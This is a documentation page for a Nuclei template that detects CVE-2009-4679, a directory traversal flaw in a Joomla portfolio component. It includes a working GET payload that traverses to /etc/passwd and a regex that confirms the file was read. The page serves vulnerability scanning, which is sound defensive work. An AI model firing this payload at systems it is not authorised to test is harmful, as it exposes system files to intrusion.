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Joomla! Portfolio Nexus - Remote File Inclusion

ID: CVE-2009-4679

Severity: high

Author: daffainfo

Tags: cve2009,cve,joomla,lfi,nexus,edb,inertialfate

Description

Section titled “Description”

Joomla! Portfolio Nexus 1.5 contains a remote file inclusion vulnerability in the inertialFATE iF (com_if_nexus) component that allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.

YAML Source

Section titled “YAML Source”
id: CVE-2009-4679


info:
  name: Joomla! Portfolio Nexus - Remote File Inclusion
  author: daffainfo
  severity: high
  description: |
    Joomla! Portfolio Nexus 1.5 contains a remote file inclusion vulnerability in the inertialFATE iF (com_if_nexus) component that allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Apply the latest security patches and updates provided by Joomla! to fix the Remote File Inclusion vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/33440
    - https://nvd.nist.gov/vuln/detail/CVE-2009-4679
    - http://www.exploit-db.com/exploits/10754
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-4679
    cwe-id: CWE-22
    epss-score: 0.00826
    epss-percentile: 0.81565
    cpe: cpe:2.3:a:inertialfate:com_if_nexus:1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: inertialfate
    product: com_if_nexus
  tags: cve2009,cve,joomla,lfi,nexus,edb,inertialfate


http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_kif_nexus&controller=../../../../../../../../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2009/CVE-2009-4679.yaml"

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